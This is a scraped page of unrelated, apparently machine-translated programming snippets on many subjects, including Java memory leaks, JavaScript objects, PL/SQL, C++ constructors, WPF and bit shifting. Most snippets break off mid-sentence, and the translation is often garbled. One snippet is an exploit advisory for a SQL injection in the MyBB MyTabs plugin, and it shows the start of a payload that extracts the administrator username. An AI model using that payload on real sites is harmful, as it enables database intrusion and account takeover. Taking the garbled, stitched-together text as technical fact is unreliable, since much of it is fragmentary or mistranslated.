pragmatic programer

Jolt, as Oscar of the software industry, has a wide influence and deserves our attention. I'm glad that Zend framework has won the productivity winner of the framework class. At present, I am a team leader from the ZF Chinese Document team. ZF is also the php development framework that won the first prize in the past few years. After 07 years, netbeans again won the IDE class award. Jolt 2008 complete winners are listed as follows: General booksJolt winnerBeautiful code edited by Andy Oram and G

Author: Jiangnan Baiyi Springside -- pragmatic enterprise application KickStart and common library stack, with such a long name, you don't have to explain what everyone knows-Take Spring framework as core, it provides a pragmatic Enterprise Application Development Foundation and Best Practices presentation. Positioning:It provides a complex, formal, and best-practice reference system for developers using th

By creating an object instancevar person = new Object (); Person.name = "Zhouquan"; Person.age = 21; Person.sayname = function () { console.log (this.name);}; Person.sayname ();//zhouquanObject Literal methodvar person = { Name: "Zhouquan", age:21, sayname:function () { console.log (this.name); }}; Person.sayname ();//zhouquanThe disadvantage of creating objects in a way that creates an object instance and object literals is that neither of these methods is suitable for creating object

attention to event listeners and callbacks. A memory leak may occur if a listener was registered but not unregistered when the class was not being used any longer. "If a class manages its own memory, the Programer should is alert for memory leaks." [1] Often times member variables of an object, the point to the other objects need to is null out. Why substring () method in JDK 6 can cause memory leaks?See: The substring () Method

In previous projects, the front and rear side of the common way is to provide a page and UI plus a little duangduangduang effect, the back-end frame structure and data interaction (data interaction before and after the intersection), whether it is. NET, Java or PHP can provide a One-to-many front-end services, In the new form, however, the front-end framework is used, the development is not the same, for example, I would like to say this is done under the angular framework of development, the mo

by:org.apache.commons.logging.LogConfigurationException:java.lang.NullPointerException (caused by Java.lang.NullPointerException)At Org.apache.commons.logging.impl.LogFactoryImpl.getLogConstructor (logfactoryimpl.java:397)At Org.apache.commons.logging.impl.LogFactoryImpl.newInstance (logfactoryimpl.java:529)... Ten morecaused by:java.lang.NullPointerExceptionAt Org.apache.commons.logging.impl.LogFactoryImpl.getLogConstructor (logfactoryimpl.java:374)... One more Let's move on to our configurat

information, but for the programmers who have desktop programming, directly into the debug mode, step tracking program execution path, to see which variables to see which variable, is the natural thing.It's just not supported by the previous IDE. D.flying Error Tip:Java IDE standard configuration, error immediately prompt, do not wait for compile time. Unfortunately, this is not standard in the IDE of other languages. The team is now using Idea 4.5. You need to have some plug-ins to open eclips

Label:1. SQL statements in PL/SQL-The end statement has nothing to do with content such as commit. -PL/SQL does not directly support data definition language (DDL) statements, such as CREATE TA BLE, ALTER TABLE, or DROP TABLE. -PL/SQL does not the support Data Control Language (DCL) statements, such as GRANT or REVOKE. -There must be one behind each SQL statement; Semicolon. -PL/SQL can manage errors by setting exception, such as No_data_found, too_many_rows2. SQL Cursors (Brief introduction)A c

constructor, it is only responsible for creating objects, do not do any initialization work;3. As long as Programer defines a constructor (whether it is a parameterless or a parametric construct), C + + no longer provides the default default constructor. That is, if you define a constructor for a class with parameters and you want to have no parameter constructor, you must define it yourself;4, similar to the variable definition, when creating an obj

[WPF series] basic learning-WPF design patterns overview, wpf-wpfIntroduction The "Design Pattern" is something cool for programmers to pick up, And it truly makes programer of the beginner Design Pattern intoxicated. Too many experiences tell us that "everything must be done in an appropriate way and we must learn to stop it. The same is true for the "design mode". It is not intended for the "Mode" (except for the beginner demo ), then the original i

# Exploit title: MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.# Author: AutoRUN dR. SQL# Vulnerable Software Link: http://mods.mybb.com/view/mytabsVulnerability:$ ~ Http://www.bkjia.com/mybbpath/index. php? Tab = [SQLi]---------------------------------------#~ Expl0itation ~ #---------------------------------------$ ~ Get the administrator's username (usually it has uid = 1 )~Http://www.bkjia.com/mybbpath/index. php? Tab = 1' and (select 1 from (select count (*), concat (select usern

type, the number of shifts cannot exceed 32, for long type, the number of shifts cannot exceed 64. Perform the following tests: Java code System.out.println(Integer.toHexString(0x80000000>>31)); //output:ffffffff System.out.println(Integer.toHexString(0x80000000>>32)); //output:80000000 0x80000000 after 31 bits are shifted to the right, each bit becomes 1 (that is,-1). According to this idea, the 32 bits are shifted to-1, but after 32 bits are shifted to the right, the result is

Java is a fully object-oriented, high-level language, and its basic operations are essentially for the corresponding objects and classes. Object-oriented programs are made up of objects, each containing a specific part of the functionality exposed to the user and a hidden implementation part. Corresponding to the object-oriented language, there is also a process-oriented language, such as the C language. The object-oriented language is developed on the basis of the process-oriented language. Obj

-------------------- Learn! We got a target. ------Solution-------------------- Target ------Solution-------------------- Carefully studied 3-5 frames and wrote a framework. As a PHP programmer, the framework must have, at least one of their own to fit. It's not necessarily MVC, it's not necessarily an online open source. But there's at least one framework that allows you to quickly develop a product. ------Solution-------------------- discuss Not to mention the real phper, talk about

Create an Object instance var person = new Object(); person.name = "zhouquan"; person.age = 21; person.sayName = function(){ console.log(this.name); }; person.sayName();//zhouquanObject literal type var person = { name: "zhouquan", age: 21, sayName:function(){ console.log(this.name); }};person.sayName();//zhouquan The disadvantage of creating an object by using the common object instance method and object literal method is that these two methods are not suitable for creating the same

To make software more user-friendly, we must replace people to do a lot of things. The more software does,ProgramThe design becomes more and more complex. As programs become increasingly complex, programer is obligated to make programs as simple as possible. Of course, this simple is not simplifiedCodeReduce the amount, but use wisdom to make the code "complex but not messy. Yes, it's an art! Why is the code "complex and not messy" required "? T

provides their communication pattern ). I think a refined and scientific division of labor is extremely important for a software engineering team, otherwise the assignment of tasks will become extremely messy. In this software engineering course, we used the classic division of labor model: PM, designer, programer, and tester. they performed their respective jobs with excellent effects and efficiency. ForProgramArchitects and programmers put forwar

so that they can all change independently. I personally think this is a great embodiment of a combination that is superior to the inherited design principle. 6. Bridging Mode-original article reflection Is my example of bridging mode? It is clear, no! A conceptual explanation is mentioned here. Gof said that abstraction and implementation are separated. What is the implementation here? This implementation is not the implementation of an interface that we usually call "Implementati

=7, s=6, c=4, r=0, o=3T=9, E=5, w=2, g=6, A=8, p=7, S=1, c=4, r=0, o=3Have more than one solution does do great+swerc=porto a good problem to solveby hand, but it was still a piece of cake for a programer. Moreover, it gives us another reason to organizeSwerc again next year and, who knows, in years to come!Given A word addition problem, compute the number of solutions (possibly zero)Test instructionsGive you n a string ask if you can add 1~n-1 to get

a "nostalgic" programer, I haven't been paying much attention to the new version. It was always the version of the JDK that the project needed, and I always thought that if the project was too dependent on the JDK version, it would be too shit for development and design! These days for some reason you need to switch to the old version of the project to do something. The old version (known as V1) was developed by JDK1.6, and the new version (known as